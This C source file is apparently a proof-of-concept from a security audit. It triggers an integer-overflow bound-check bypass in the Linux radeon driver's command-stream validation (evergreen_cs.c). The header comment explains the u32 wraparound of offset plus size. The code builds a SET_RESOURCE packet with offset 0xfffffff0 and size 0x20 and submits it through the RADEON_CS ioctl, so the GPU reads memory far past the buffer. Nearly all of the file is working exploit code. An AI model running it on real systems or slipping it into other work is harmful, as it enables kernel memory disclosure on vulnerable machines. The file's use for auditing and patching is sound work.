/*
 * DF-3839 PoC trigger — SET_RESOURCE SQ_TEX_VTX_VALID_BUFFER bound check
 * bypass: `(size + offset)` added in u32 at evergreen_cs.c:2416.
 *
 *   offset = radeon_get_ib_value(p, idx+1+(i*8)+0);   (u32)
 *   size   = radeon_get_ib_value(p, idx+1+(i*8)+1);   (u32)
 *   if (p->rdev && (size + offset) > radeon_bo_size(reloc->robj))  // u32 add!
 *       ib[...+1] = radeon_bo_size(reloc->robj) - offset;          // underflow
 *   offset64 = reloc->gpu_offset + offset;                         // u64 —
 *                                              // GPU buffer sits ~4GB past BO
 *
 * With offset = 0xfffffff0 and size = 0x20 the wrapped sum is 0x10, the
 * check passes, and the GPU vertex fetch reads from bo_base+0xfffffff0.
 * If the (wrapped) check *does* fire while offset > bo_size, the "forced"
 * size at :2419 underflows to a huge value instead.
 *
 * Requires: real pre-SI radeon GPU + authenticated DRI fd; relocation for
 * the resource dword 0 omitted (needs libdrm/GEM bo).  On the audit QEMU
 * guest open() fails with ENOENT — expected.
 */
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

struct drm_radeon_cs_chunk { uint32_t chunk_id, length_dw; uint64_t chunk_data; };
struct drm_radeon_cs { uint32_t num_chunks, cs_id; uint64_t chunks, gart_limit, vram_limit; };
#define RADEON_CHUNK_ID_IB 0x02
#define DRM_IOCTL_RADEON_CS _IOWR('d', 0x66, struct drm_radeon_cs)

#define PKT3(op, cnt) ((3u<<30)|(((cnt)&0x3fff)<<16)|(((op)&0xff)<<8))
#define PACKET3_SET_RESOURCE 0x20

int main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0";
	int fd, r, n = 0;
	uint32_t ib[16];

	/* one 8-dword resource, type=SQ_TEX_VTX_VALID_BUFFER (0x8 << 30) */
	ib[n++] = PKT3(PACKET3_SET_RESOURCE, 8);
	ib[n++] = 0;			/* resource 0 offset base-index */
	ib[n + 0] = 0xfffffff0;	/* word0: offset  (would get reloc added) */
	ib[n + 1] = 0x20;		/* word1: size    — size+offset wraps u32 */
	ib[n + 2] = 0;			/* word2: hi addr bits */
	ib[n + 3] = 0;			/* word3: (mip base) */
	ib[n + 4] = 0; ib[n + 5] = 0; ib[n + 6] = 0;
	ib[n + 7] = 8u << 30;		/* word7: SQ_TEX_VTX_VALID_BUFFER */
	n += 8;

	uint32_t flags_chunk[1] = { 0 };
	struct drm_radeon_cs_chunk chunks[2] = {
	    { RADEON_CHUNK_ID_IB, (uint32_t)n, (uint64_t)(uintptr_t)ib },
	    { 0x03 /*FLAGS*/,     1,           (uint64_t)(uintptr_t)flags_chunk },
	};
	uint64_t chunk_ptrs[2] = {
	    (uint64_t)(uintptr_t)&chunks[0], (uint64_t)(uintptr_t)&chunks[1] };
	struct drm_radeon_cs cs;
	memset(&cs, 0, sizeof(cs));
	cs.num_chunks = 2;
	cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs;

	fd = open(dev, O_RDWR);
	if (fd < 0) {
		printf("open(%s): %s (device absent on this guest)\n",
		    dev, strerror(errno));
		return 2;
	}
	r = ioctl(fd, DRM_IOCTL_RADEON_CS, &cs);
	printf("RADEON_CS: %s  (0xfffffff0 + 0x20 wraps to 0x10 -> bound check"
	    " bypassed on vulnerable kernels)\n", r ? strerror(errno) : "accepted");
	close(fd);
	return 0;
}
